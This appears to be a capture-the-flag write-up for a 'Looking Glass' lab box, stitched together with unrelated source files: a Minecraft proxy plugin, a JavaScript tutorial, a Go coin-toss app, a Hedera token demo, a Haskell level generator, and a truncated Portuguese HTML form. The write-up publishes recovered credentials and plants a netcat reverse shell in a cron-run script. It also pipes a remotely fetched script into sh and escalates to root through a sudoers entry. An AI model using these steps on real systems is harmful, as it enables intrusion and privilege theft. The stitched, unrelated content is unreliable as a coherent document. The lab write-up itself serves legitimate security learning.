## Looking Glass ### Reconnassance First we need to see what ports are open: ```sudo nmpa -sV -sC -oN nmap/initials 10.10.229.28``` Result: ```bash PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 3f15197035fddd0d07a050a37dfa10a0 (RSA) | 256 a8675c52770241d790e7ed32d201d965 (ECDSA) |_ 256 2692592d5e25908909f5e5e03381776a (ED25519) 9000/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9001/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9002/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9003/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9009/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9010/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9011/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9040/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9050/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9071/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9080/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9081/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9090/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9091/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 9099/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) . . . . . 13722/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 13782/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) 13783/tcp open ssh Dropbear sshd (protocol 2.0) | ssh-hostkey: |_ 2048 fff4db79a9bcb88ad43f56c2cfcb7d11 (RSA) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` About 4000+ ports opened, and if we check one by one, it will show either we need to check higher or lower ssh port. To make it faster, let's use binary search implementation script to find the right prot wiht "Lower" and "Higher" parameter check ```py import subprocess def binarysearch(arr, url): low = 0 high = len(arr)-1 while low <= high: mid = (low + high) // 2 p = arr[mid] command = [ "ssh", "-p", str(p), "-o", "HostKeyAlgorithms=ssh-rsa", "-o", "StrictHostKeyChecking=no", url ] process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output, error = process.communicate() output = output.decode('utf-8') error = error.decode('utf-8') if "Lower" in output: print(f'[!] not this port {p}, Lower! {arr[low]} {arr[high]}') low = mid + 1 elif "Higher" in output: print(f'[!] not this port {p}, Higher! {arr[low]} {arr[high]}') high = mid - 1 else: print(f'This port {p}') break arr = [i for i in range(9000,13783)] print(len(arr)) binarysearch(arr, "10.10.229.28") ``` The result is: ```txt [!] not this port 11224, Lower! 9000 13449 [!] not this port 12337, Lower! 11225 13449 [!] not this port 12893, Higher! 12338 13449 [!] not this port 12615, Higher! 12338 12892 [!] not this port 12476, Higher! 12338 12614 [!] not this port 12406, Lower! 12338 12475 [!] not this port 12441, Higher! 12407 12475 [!] not this port 12423, Lower! 12407 12440 [!] not this port 12432, Higher! 12424 12440 This port 12427 ``` if we access that port, we'll get a enoded poem: ```txt You've found the real service. Solve the challenge to get access to the box Jabberwocky 'Mdes mgplmmz, cvs alv lsmtsn aowil Fqs ncix hrd rxtbmi bp bwl arul; Elw bpmtc pgzt alv uvvordcet, Egf bwl qffl vaewz ovxztiql. 'Fvphve ewl Jbfugzlvgb, ff woy! Ioe kepu bwhx sbai, tst jlbal vppa grmjl! Bplhrf xag Rjinlu imro, pud tlnp Bwl jintmofh Iaohxtachxta!' Oi tzdr hjw oqzehp jpvvd tc oaoh: Eqvv amdx ale xpuxpqx hwt oi jhbkhe-- Hv rfwmgl wl fp moi Tfbaun xkgm, Puh jmvsd lloimi bp bwvyxaa. Eno pz io yyhqho xyhbkhe wl sushf, Bwl Nruiirhdjk, xmmj mnlw fy mpaxt, Jani pjqumpzgn xhcdbgi xag bjskvr dsoo, Pud cykdttk ej ba gaxt! Vnf, xpq! Wcl, xnh! Hrd ewyovka cvs alihbkh Ewl vpvict qseux dine huidoxt-achgb! Al peqi pt eitf, ick azmo mtd wlae Lx ymca krebqpsxug cevm. 'Ick lrla xhzj zlbmg vpt Qesulvwzrr? Cpqx vw bf eifz, qy mthmjwa dwn! V jitinofh kaz! Gtntdvl! Ttspaj!' Wl ciskvttk me apw jzn. 'Awbw utqasmx, tuh tst zljxaa bdcij Wph gjgl aoh zkuqsi zg ale hpie; Bpe oqbzc nxyi tst iosszqdtz, Eew ale xdte semja dbxxkhfe. Jdbr tivtmi pw sxderpIoeKeudmgdstd Enter Secret: Incorrect secret. ``` To solve this, we need to a brute forxce on vigenere chiper, the secret we need to inptu is: ``bewareTheJabberwock`` then we get a user and password which is: ``jabberwock:ExplanationCrowdedMannersIntroducing`` then let's try to conenct to main ssh port (22) with that user credential now we're already in the machine as jabberwock, if we look at the home directory: ``` jabberwock@looking-glass:~$ ls /home alice humptydumpty jabberwock tryhackme tweedledee tweedledum ``` Here we'll get the first flag in the user.txt now let's look at information that we may find and give us access to escalate our privilege. jabberwock user able to reboot as sudo, some good information, now if we look for more, in the crontab section, the system will automaticly run ``` @reboot tweedledum bash /home/jabberwock/twasBrillig.sh ``` when we reboot the system, as inofrmation, we have write access on twasBrillig.sh, how if we change the code, to give us reverse shell as tweedledump ```sh nc "[Machine IP]" 1234 -e /bin/bash ``` now let's listen in our machine for any reverse shell, then wait for a shell. ``nc -lnvp 1234`` result: ```bash ┌──(djumanto㉿DESKTOP-6PUFOAG)-[~] └─$ nc -lvnp 4444 listening on [any] 4444 ... connect to [10.18.108.222] from (UNKNOWN) [10.10.229.28] 40166 bash: cannot set terminal process group (884): Inappropriate ioctl for device bash: no job control in this shell tweedledum@looking-glass:~$ ls ls humptydumpty.txt poem.txt ``` humpty dumpty contains some hashy hex things, first thing i tried is read from hex ```txt [Broken Dump Bit nonsense] the password is zyxwvutsrqponmlk ``` we got another hash for the password, so what we'r going to do is using cracker, but... i ran out of clue, so i just tried to access it to random user humptydumpty and i can't, so i tread to acces it via tweedledee then run su humptydumpty: ```bash tweedledee@looking-glass:/home/tweedledee$ su humptydumpty su humptydumpty Password: zyxwvutsrqponmlk humptydumpty@looking-glass:/home/tweedledee$ ls ls ls: cannot open directory '.': Permission denied humptydumpty@looking-glass:/home/tweedledee$ cd /home/humptydumpty cd /home/humptydumpty humptydumpty@looking-glass:~$ ls ls poetry.txt ``` i ran out of idea, so i use linpeas, and it shows me that i have read access to alice ssh key as humptydumpty. Step to reproduce: - Download [linpeas.sh](https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh) from github - open port ``python3 -m http.server 3333`` - in the victim terminal run ``curl -L [Your IP:Port/linpeas.sh] | sh`` ```sh ╔══════════╣ Searching folders owned by me containing others files on it (limit 100) -rw------- 1 humptydumpty humptydumpty 1679 Jul 3 2020 /home/alice/.ssh/id_rsa ``` So i read it and copy to local then access alice terminal using sshkey we got before. another insteresting information is this: ``` Sudoers file: /etc/sudoers.d/alice is readable alice ssalg-gnikool = (root) NOPASSWD: /bin/bash ``` yep, we able to run it as root, if we run it as superuser which is alice, then we got a bash as root, so let's do it: ``` sudo -h ssalg-gnikool /bin/bash ``` Result: ![image](https://github.com/DJumanto/Portswigger-XSS/assets/100863813/ea44b4f7-4517-4987-ba81-10d0f646e76e)
package org.mason.velocityutil; import com.google.inject.Inject; import com.velocitypowered.api.event.Subscribe; import com.velocitypowered.api.event.proxy.ProxyInitializeEvent; import com.velocitypowered.api.plugin.Plugin; import com.velocitypowered.api.plugin.PluginContainer; import com.velocitypowered.api.proxy.ProxyServer; import net.luckperms.api.LuckPerms; import net.luckperms.api.LuckPermsProvider; import org.mason.velocityutil.Announcements.AnnounceConfiguration; import org.mason.velocityutil.Announcements.Announcer; import org.mason.velocityutil.AntiVPN.IPsConfiguration; import org.mason.velocityutil.AntiVPN.JoinListener; import org.mason.velocityutil.commands.AnnounceCommand; import org.mason.velocityutil.commands.ServerSwitchCommand; import org.mason.velocityutil.commands.StaffChatCommand; import org.slf4j.Logger; @Plugin( id = "velocityutil", name = "VelocityUtil", version = "1.0-SNAPSHOT" ) public class VelocityUtil { @Inject private Logger logger; @Inject private ProxyServer server; @Inject private PluginContainer container; private IPsConfiguration ipsConfiguration; private AnnounceConfiguration announceConfig; private Announcer announcer; @Subscribe public void onProxyInitialization(ProxyInitializeEvent event) { ipsConfiguration = new IPsConfiguration(container); ipsConfiguration.loadAllowedIPs(); server.getEventManager().register(this, new JoinListener(ipsConfiguration)); announceConfig = new AnnounceConfiguration(container); announceConfig.loadMessages(); announcer = new Announcer(announceConfig, server); announcer.startBroadcasting(); LuckPerms luckPermsInstance = LuckPermsProvider.get(); server.getCommandManager().register("sc", new StaffChatCommand(server, logger, luckPermsInstance)); server.getCommandManager().register("hub", new ServerSwitchCommand(server, logger, "hub")); server.getCommandManager().register("announce", new AnnounceCommand(server, logger, luckPermsInstance)); logger.info("VelocityUtil is up and running!"); } }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Operator logika di Non Boolean</title> </head> <body> <script> // Operator OR (||) mengambil nilai pertama yang truthy // Jika tidak ada nilai truthy maka akan mengambil nilai falsy yang terakhir console.info("Hello" || ""); // Hello console.info("" || []); // [] console.info("0" || "NOL"); // 0 console.info(0 || "NOL"); // NOL console.info(null || "NULL"); // NULL console.info(undefined || "UNDEFINED"); // UNDEFINED console.info(0 || false); // false const person = { firstName: "Septiana", lastName: "Nugraha" }; let name = person.firstName || person.lastName; console.info(`Nama : ${name}`); // Operator AND (&&) mengambil nilai pertama yang falsy // Jika tidak ada nilai falsy maka akan mengambil nilai truthy yang terakhir console.info("Hello" && ""); // "" console.info("" && []); // "" console.info("0" && "NOL"); // NOL console.info(0 && "NOL"); // 0 console.info(null && "NULL"); // null console.info(undefined && "UNDEFINED"); // undefined console.info(0 && false); // 0 name = person.firstName && person.lastName; console.info(`Nama : ${name}`); </script> </body> </html>
package main // A simple example demonstrating the use of multiple text input components // from the Bubbles component library. import ( "fmt" "os" "strings" randomint "github.com/bupd/tossacoin/randomInt" "github.com/charmbracelet/bubbles/textinput" tea "github.com/charmbracelet/bubbletea" "github.com/charmbracelet/lipgloss" ) var ( focusedStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("81")) blurredStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("240")) cursorStyle = focusedStyle.Copy() noStyle = lipgloss.NewStyle() helpStyle = blurredStyle.Copy() cursorModeHelpStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("244")) buttonGold = lipgloss.NewStyle(). Background(lipgloss.Color("214")). Foreground(lipgloss.Color("232")).Bold(true) good = lipgloss.NewStyle().SetString("bold").Bold(true) focusedButton = buttonGold.Copy().Render("[ TOSS ]") blurredButton = fmt.Sprintf("[ %s ]", buttonGold.Render("{ TOSS }")) ) type model struct { focusIndex int inputs []textinput.Model items []string done bool } func initialModel() model { m := model{ inputs: make([]textinput.Model, 2), } var t textinput.Model for i := range m.inputs { t = textinput.New() t.CharLimit = 69 switch i { case 0: t.Placeholder = "Option 1" t.Focus() t.PromptStyle = focusedStyle t.TextStyle = focusedStyle case 1: t.Placeholder = "Option 2" } m.inputs[i] = t } return m } func (m model) Init() tea.Cmd { return textinput.Blink } func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) { switch msg := msg.(type) { case tea.KeyMsg: switch msg.String() { case "ctrl+c", "esc": return m, tea.Quit // Set focus to next input case "tab", "shift+tab", "enter", "up", "down": s := msg.String() // Did the user press enter while the submit button was focused? // If so, exit. if s == "enter" && m.focusIndex == len(m.inputs) { fmt.Printf("\n your selected fate ✨ %s\n ", m.inputs[randomint.RandomInt(2)].Value()) m.done = true return m, tea.Quit } if len(m.inputs[m.focusIndex].Value()) > 0 { // Cycle indexes if s == "up" || s == "shift+tab" { m.focusIndex-- } else { m.focusIndex++ } if m.focusIndex > len(m.inputs) { m.focusIndex = 0 } else if m.focusIndex < 0 { m.focusIndex = len(m.inputs) } } cmds := make([]tea.Cmd, len(m.inputs)) for i := 0; i <= len(m.inputs)-1; i++ { if i == m.focusIndex { // Set focused state cmds[i] = m.inputs[i].Focus() m.inputs[i].PromptStyle = focusedStyle m.inputs[i].TextStyle = focusedStyle continue } // Remove focused state m.inputs[i].Blur() m.inputs[i].PromptStyle = noStyle m.inputs[i].TextStyle = noStyle } return m, tea.Batch(cmds...) } } // Handle character input and blinking cmd := m.updateInputs(msg) return m, cmd } func (m *model) updateInputs(msg tea.Msg) tea.Cmd { cmds := make([]tea.Cmd, len(m.inputs)) // Only text inputs with Focus() set will respond, so it's safe to simply // update all of them here without any further logic. for i := range m.inputs { m.inputs[i], cmds[i] = m.inputs[i].Update(msg) } return tea.Batch(cmds...) } func (m model) View() string { var b strings.Builder for i := range m.inputs { b.WriteString(m.inputs[i].View()) if i < len(m.inputs)-1 { b.WriteRune('\n') } } button := &blurredButton if m.focusIndex == len(m.inputs) { button = &focusedButton } fmt.Fprintf(&b, "\n\n%s\n\n", *button) if m.done { b.WriteString(helpStyle.Render("Result Of your tossacoin 🪙")) } else { b.WriteString(helpStyle.Render("Enter Your Choices 📝 and Toss 🪙")) } return b.String() } func main() { if _, err := tea.NewProgram(initialModel()).Run(); err != nil { fmt.Printf("could not start program: %s\n", err) os.Exit(1) } }
package com.hedera.node.demo; import com.hedera.hashgraph.sdk.AccountCreateTransaction; import com.hedera.hashgraph.sdk.AccountId; import com.hedera.hashgraph.sdk.Client; import com.hedera.hashgraph.sdk.Hbar; import com.hedera.hashgraph.sdk.PrecheckStatusException; import com.hedera.hashgraph.sdk.PrivateKey; import com.hedera.hashgraph.sdk.ReceiptStatusException; import com.hedera.hashgraph.sdk.TokenCreateTransaction; import com.hedera.hashgraph.sdk.TokenId; import com.hedera.hashgraph.sdk.TokenInfo; import com.hedera.hashgraph.sdk.TokenInfoQuery; import com.hedera.hashgraph.sdk.TokenSupplyType; import com.hedera.hashgraph.sdk.TokenType; import com.hedera.hashgraph.sdk.TransactionReceipt; import io.github.cdimascio.dotenv.Dotenv; import java.util.Objects; import java.util.concurrent.TimeoutException; import lombok.CustomLog; @CustomLog public class CreateTokenDemo { private static final AccountId OPERATOR_ID = AccountId.fromString(Objects.requireNonNull(Dotenv.load().get("OPERATOR_ID"))); private static final PrivateKey OPERATOR_KEY = PrivateKey.fromString(Objects.requireNonNull(Dotenv.load().get("OPERATOR_KEY"))); private static final String HEDERA_NETWORK = Dotenv.load().get("HEDERA_NETWORK", "testnet"); private CreateTokenDemo(){} public static void main(String[] args) throws InterruptedException, PrecheckStatusException, TimeoutException, ReceiptStatusException { Client client = ClientHelper.forName(HEDERA_NETWORK); // Defaults the operator account ID and key such that all generated transactions will be paid for // by this account and be signed by this key client.setOperator(OPERATOR_ID, OPERATOR_KEY); //Create an account PrivateKey aliceKey = PrivateKey.generateED25519(); AccountId aliceId = new AccountCreateTransaction() .setInitialBalance(new Hbar(10)) .setKey(aliceKey) .freezeWith(client) .sign(aliceKey) .execute(client) .getReceipt(client) .accountId; //Create a fungible token TokenId tokenId = new TokenCreateTransaction() .setTokenType(TokenType.FUNGIBLE_COMMON) .setTokenName("Example Token") .setTokenSymbol("EX") .setAdminKey(aliceKey) .setSupplyKey(aliceKey) .setFeeScheduleKey(aliceKey) .setWipeKey(aliceKey) .setTreasuryAccountId(aliceId) .setInitialSupply(100) .freezeWith(client) .sign(aliceKey) .execute(client) .getReceipt(client) .tokenId; log.info("Created token with ID {}", tokenId); TokenInfo fungibleTokenInfo = new TokenInfoQuery() .setTokenId(tokenId) .execute(client); log.info("Token info for fungible token is: {}", fungibleTokenInfo); // Create an NFT TransactionReceipt nftCreateReceipt = new TokenCreateTransaction() .setTokenName("NFT Token") .setTokenSymbol("NFT") .setTokenType(TokenType.NON_FUNGIBLE_UNIQUE) .setDecimals(0) .setInitialSupply(0) .setMaxSupply(1000L) .setTreasuryAccountId(OPERATOR_ID) .setSupplyType(TokenSupplyType.FINITE) .setAdminKey(OPERATOR_KEY) .setSupplyKey(OPERATOR_KEY) .freezeWith(client) .execute(client) .getReceipt(client); TokenId nftTokenId = nftCreateReceipt.tokenId; log.info("Created NFT with token ID: {}", nftTokenId); TokenInfo nftTokenInfo = new TokenInfoQuery() .setTokenId(nftTokenId) .execute(client); log.info("Token info for NFT is: {}", nftTokenInfo); } }
{- | Module : World.Generation Description : All about generating levels in the game world Maintainer : asbjorn.orvedal@gmail.com -} module World.Generation (generateLevel) where import Control.Lens ((.~)) import Control.Monad.Fix (fix) import Creatures.Monsters (Monster, position) import Data.Bifoldable (biList) import Data.Bifunctor (first) import Data.Bool (bool) import Data.Data (Proxy (..)) import Data.Function (on) import Data.Functor ((<&>)) import Data.List (maximumBy) import GHC.Arr (Array, assocs, indices, listArray, (//)) import GHC.TypeLits (KnownNat, natVal) import Items.Chests import System.Random (Random (random, randomR), randomIO, randomRIO) import Utils (count) import World.Cells import World.Level (Coordinate, Level (..)) import World.Tree data Direction = Vertical | Horizontal deriving (Show, Bounded, Enum) instance Random Direction where random = randomR (minBound, maxBound) randomR (lower, upper) = first toEnum . randomR (fromEnum lower, fromEnum upper) -- | A rectangle that is defined by its upper right and lower right corners type Rectangle = (Coordinate, Coordinate) {- | Split two random leaves in a binary tree into two new leaves The bisection is done by a random direction and a random point (within a ratio range) along that direction -} split :: BinaryTree Rectangle -> IO (BinaryTree Rectangle) split (left :-: right) = randomIO >>= bool (split left <&> (:-: right)) (split right <&> (:-: left)) split (Leaf (upperLeft, lowerRight)) = do splitRatio <- randomRIO (0.4, 0.6) :: IO Double direction <- randomIO :: IO Direction -- The available room for splitting let splitBasis = fromIntegral $ case direction of Vertical -> snd lowerRight - snd upperLeft Horizontal -> fst lowerRight - fst upperLeft -- Offset for which to compute the split offset = case direction of Vertical -> snd upperLeft Horizontal -> fst upperLeft -- Split at some point in range of the split basis splitPoint = round (splitRatio * splitBasis) + offset -- The new bounding rectangle corners lowerRight' = case direction of Vertical -> (fst lowerRight, splitPoint) Horizontal -> (splitPoint, snd lowerRight) upperLeft' = case direction of Vertical -> (fst upperLeft, splitPoint) Horizontal -> (splitPoint, snd upperLeft) -- The branches to split this leaf into left = (upperLeft, lowerRight') right = (upperLeft', lowerRight) return $ Leaf left :-: Leaf right -- | Create an array representation of each room in the binarytree's leaves getRooms :: BinaryTree Rectangle -> [Array Coordinate Cell] getRooms = map (\rectangle -> listArray rectangle (repeat Floor)) . flatten {- |  Take a room, and push its walls inwards by a random ratio. The shrinking is symmetric on the horizontal and vertical axis, respecitvely. (The walls will be pushed in by _at least_ 1 cell) -} shrinkWalls :: Rectangle -> IO Rectangle shrinkWalls ((y0, x0), (y1, x1)) = do ratio <- randomRIO (0.2, 0.3) :: IO Double let width = fromIntegral (x1 - x0) :: Double height = fromIntegral (y1 - y0) :: Double dx = max 1 (round (ratio * width)) dy = max 1 (round (ratio * height)) return ((y0 + dy, x0 + dx), (y1 - dy, x1 - dx)) -- | Calculate the center of a rectangle center :: Rectangle -> Coordinate center ((y0, x0), (y1, x1)) = ((y0 + y1) `div` 2, (x0 + x1) `div` 2) -- | Dig an L-shaped tunnel between two nodes dig :: Edge -> [(Coordinate, Cell)] dig ((y0, x0), (y1, x1)) = map (,Tunnel) $ vertical <> horizontal where vertical = [(y, x0) | y <- [min y0 y1 .. max y0 y1]] horizontal = [(y1, x) | x <- [min x0 x1 .. max x0 x1]] -- | Given a ratio, and a list of coordinates, generate random items at some of the coordinates generateByRatioFromPositions :: Random a => Double -> [Coordinate] -> IO [(Coordinate, a)] generateByRatioFromPositions ratio cells = do rs <- mapM (const randomIO) cells :: IO [Double] let cellsToPopulate = map fst $ filter ((< ratio) . snd) (zip cells rs) items <- mapM (const randomIO) cellsToPopulate return $ zip cellsToPopulate items {- | Generate staircases, one up, one down. They are placed at dead ends (leaves) of the provided edges, as distant as possible away from each other. -} generateStairs :: [Edge] -> (Coordinate, Coordinate) generateStairs edges = longest where nodes = concatMap biList edges deadEnds = filter (\node -> count node nodes == 1) nodes longest = maximumBy (compare `on` weight) [(a, b) | a <- deadEnds, b <- deadEnds] generateLevel :: forall cols rows. (KnownNat cols, KnownNat rows) => IO (Level cols rows) generateLevel = do let width = fromInteger $ natVal (Proxy @cols) - 1 height = fromInteger $ natVal (Proxy @rows) - 1 boundingRectangle = ((0, 0), (height, width)) initial = Leaf boundingRectangle allWalls = listArray boundingRectangle (repeat Wall) flip fix initial $ \loop tree -> do tree' <- split tree if leaves tree' <= 9 then loop tree' else do tree'' <- traverse shrinkWalls tree' let rooms = getRooms tree'' -- Get the rooms of the (shrunken) binary tree centers = map center $ flatten tree'' -- Get the center of each room tunnels = concatMap dig $ mst centers -- Use the rooms' centers to calculate an MST between them (up, down) = generateStairs $ mst centers -- Place the up- and downwards staircases as long away from each other as possible floorCells = concatMap indices rooms -- Positions where items and monsters can be placed -- Placing chests and monsters monstersAndPositions <- generateByRatioFromPositions @Monster 0.05 floorCells chests <- generateByRatioFromPositions @Chest 0.005 floorCells let chests' = map (Chest <$>) chests monsters = map (uncurry (position .~)) -- Assign each monster a position . filter (\(c, _) -> c /= up && c /= down) -- Don't place monsters on the stairs $ monstersAndPositions -- Determine whcih cells to paint over -- (As suggested by the name, order matters here, as we use painter's algorithm) cellsToPaint = concatMap assocs rooms <> chests' <> tunnels <> [(up, Stair Upwards), (down, Stair Downwards)] return $ Level (allWalls // cellsToPaint) up down monsters
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script type="module" src="../js/utilidades/preloader.js"></script> <link rel="icon" href="/favicon.ico" type="image/x-icon"> <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png"> <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png"> <link rel="apple-touch-icon" href="/apple-touch-icon.png"> <link rel="icon" type="image/png" sizes="192x192" href="/android-chrome-192x192.png"> <link rel="icon" type="image/png" sizes="512x512" href="/android-chrome-512x512.png"> <link rel="manifest" href="/site.webmanifest"> <link rel="stylesheet" href="../scss/cadastro-times.scss"> <title>Cadastro de Times</title> </head> <body requires-auth="true"> <componente-preloader></componente-preloader> <componente-header></componente-header> <main> <form class="container lvl0-color rounded-5 px-5 py-4" method="post" id="formulario"> <div class="row gap-0"> <div class="col-md-7"> <div class="col-md-12 mb-5"> <h1 class="mb-1 i18" key="CriarTime">Criar Time</h1> <h4 id="texto-apresentacao" class="mb-4 i18 fs-5" key="CriarTimeMensagem">Crie seu time para participar ativamente em campeonatos!</h4> </div> <div class="row gap-0"> <div class="mb-3 col-md-7"> <label for="nome" class="form-label i18" key="NomeTime">Nome do time:</label> <input type="text" maxlength="100" class="form-control rounded-4 i18-placeholder" key="NomeTimePlaceholder" id="nome" name="nome" placeholder="Nome do time..."> </div> <div class="col-md-5 mb-3"> <label for="esportes" class="form-label i18" key="FormularioEsporte">Esporte</label> <select name="esportes" class="form-select rounded-4" id="esportes"> <option value="" class="i18" key="FormularioEsportePlaceholder" selected>Selecione um Esporte</option> <option value="1" class="i18" key="FormularioEsporteFutebol">Futebol</option> <option value="2" class="i18" key="FormularioEsporteVolei">Vôlei</option> </select> <p class="i18 text-muted sport-change-warning" key="TeamSportChangeWarning"></p> </div> <div class="col-md-12 mb-5"> <label for="descricao" class="form-label i18" key="DescricaoCampeonato">Descrição do time:</label> <textarea maxlength="1000" class="form-control px-3 py-2 i18-placeholder" key="DescricaoCampeonatoPlaceholder" id="descricao" placeholder="Descreva seu time..." name="descricao"></textarea> </div> </div> </div> <div class="col-md-5 mt-3 d-flex justify-content-center align-items-center flex-column"> <img src="https://www.api.playoffs.app.br/img/b874d3ad-85e4-4878-84e3-72f7bc98028b" class="col-4 p-1 img-fluid rounded-5 border escudo" id="escudo" alt=""> <div class="custom-file-upload-logo"> <label for="logo" class="col-md-12 mt-4 btn lvl2-primary-bg d-flex justify-content-center align-items-center"> <i class="d-flex justify-content-center align-items-center btn bi bi-upload "></i> <span id="custom-text" class="i18" key="Enviarlogo">Enviar logo</span> <input id="logo" type="file" name="logo" name="logo" accept=".jpeg, .jpg, .png, .webp, .gif, .bmp, .tiff"> </label> <input type="hidden" name="logo" id="emblema"> </div> <div class="col-md-12 mt-5"> <div class="row d-flex justify-content-around"> <p class="col-4 d-flex justify-content-center i18" key="UniformeCasa">Uniforme casa</p> <p class="col-4 d-flex justify-content-center i18" key="UniformeFora">Uniforme fora</p> </div> <div class="row d-flex justify-content-around gap-2"> <img id="home" src="https://www.api.playoffs.app.br/img/b874d3ad-85e4-4878-84e3-72f7bc98028b" class="col-4 p-1 img-fluid uniforme border rounded-5" alt=""> <img id="away" src="https://www.api.playoffs.app.br/img/b874d3ad-85e4-4878-84e3-72f7bc98028b" class="col-4 p-1 img-fluid uniforme border rounded-5" alt=""> </div> <div class="row mt-3 d-flex justify-content-around"> <div class="col-4 d-flex justify-content-center custom-file-upload"> <label for="uniforme-casa"> <i class="w-100 h-100 d-flex justify-content-center align-items-center rounded-circle btn lvl2-primary-bg bi bi-upload "></i> <input id="uniforme-casa" type="file" name="uniforme-casa" name="logo" accept=".jpeg, .jpg, .png, .webp, .gif, .bmp, .tiff"> </label> <div class="input-wrapper d-flex align-items-center ms-2"> <input type="hidden" name="uniforme-casa" id="uniforme-1"> </div> </div> <div class="col-4 d-flex justify-content-center custom-file-upload"> <label for="uniforme-fora"> <i class="w-100 h-100 d-flex justify-content-center align-items-center rounded-circle btn lvl2-primary-bg bi bi-upload "></i> <input id="uniforme-fora" type="file" name="uniforme-fora" name="logo" accept=".jpeg, .jpg, .png, .webp, .gif, .bmp, .tiff"> </label> <div class="input-wrapper d-flex align-items-center ms-2"> <input type="hidden" name="uniforme-casa" id="uniforme-2"> </div> </div> </div> </div> </div> </div> <div class="col-12 mt-5 mb-2 d-flex justify-content-center gap-2"> <button id="salvar" class="col-md-2 order-last btn lvl2-primary-bg rounded-pill i18" key="Salvar" type="submit">Salvar</button> <a href="/index.html" class="col-md-2 btn btn-outline-info rounded-pill i18" key="Cancelar">Cancelar</a> </div> <div class="mt-4 text-danger"> <p class="text-danger" id="mensagem-erro"></p> </div> </form> <div id="JanelaModal" class="modal"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title text-success i18" key="TituloModal">Modal CPF</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <p class="text-body i18" key="ModalTexto"> Para garantir a segurança e a integridade das transações em nossa plataforma, solicitamos o seu CPF (para indivíduos) ou CNPJ (para empresas). Estes dados são coletados com o propósito exclusivo de manter um histórico detalhado de nossas interações, o que nos permite ter uma referência clara em eventuais disputas legais ou para esclarecimentos necessários. Garantimos que essas informações são armazenadas de forma segura e que não serão utilizadas para nenhum outro propósito sem o seu consentimento explícito. Valorizamos sua privacidade e estamos comprometidos em proteger seus dados. </p> <p class="text-body i18" key="ModalTextoUltimato"></p> <form id="formCpf" method="post"> <label for="cpf" id="cpf-label" class="form-label text-success">CPF:</label> <input type="text" class="form-control rounded-4" id="cpf" name="cpf" placeholder="CPF..."> <label for="cnpj" id="cnpj-label" class="form-label text-success d-none">CNPJ:</label> <input type="text" class="form-control rounded-4 d-none" id="cnpj" name="cnpj" placeholder="CNPJ..."> <div class="mt-4"> <p class="text-danger" id="mensagem-erro2"></p> </div> <div class="d-flex gap-4"> <div class="form-check"> <input type="radio" class="form-check-input" id="cpf-radio" name="tipo-validacao" value="cpf" checked> <label class="text-body form-check-label" for="cpf-radio">CPF</label> </div> <div class="form-check"> <input type="radio" class="form-check-input" id="cnpj-radio" name="tipo-validacao" value="cnpj"> <label class="text-body form-check-label" for="cnpj-radio">CNPJ</label> </div> </div> </form> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary i18" key="Fechar" data-bs-dismiss="modal">Fechar</button> <button type="submit" class="btn btn-primary i18" key="Salvar" form="formCpf">Salvar</button> </div> </div> </div> </div> <div class="modal fade" id="ModalErro" tabindex="-1" aria-labelledby="ModalErroLabel" 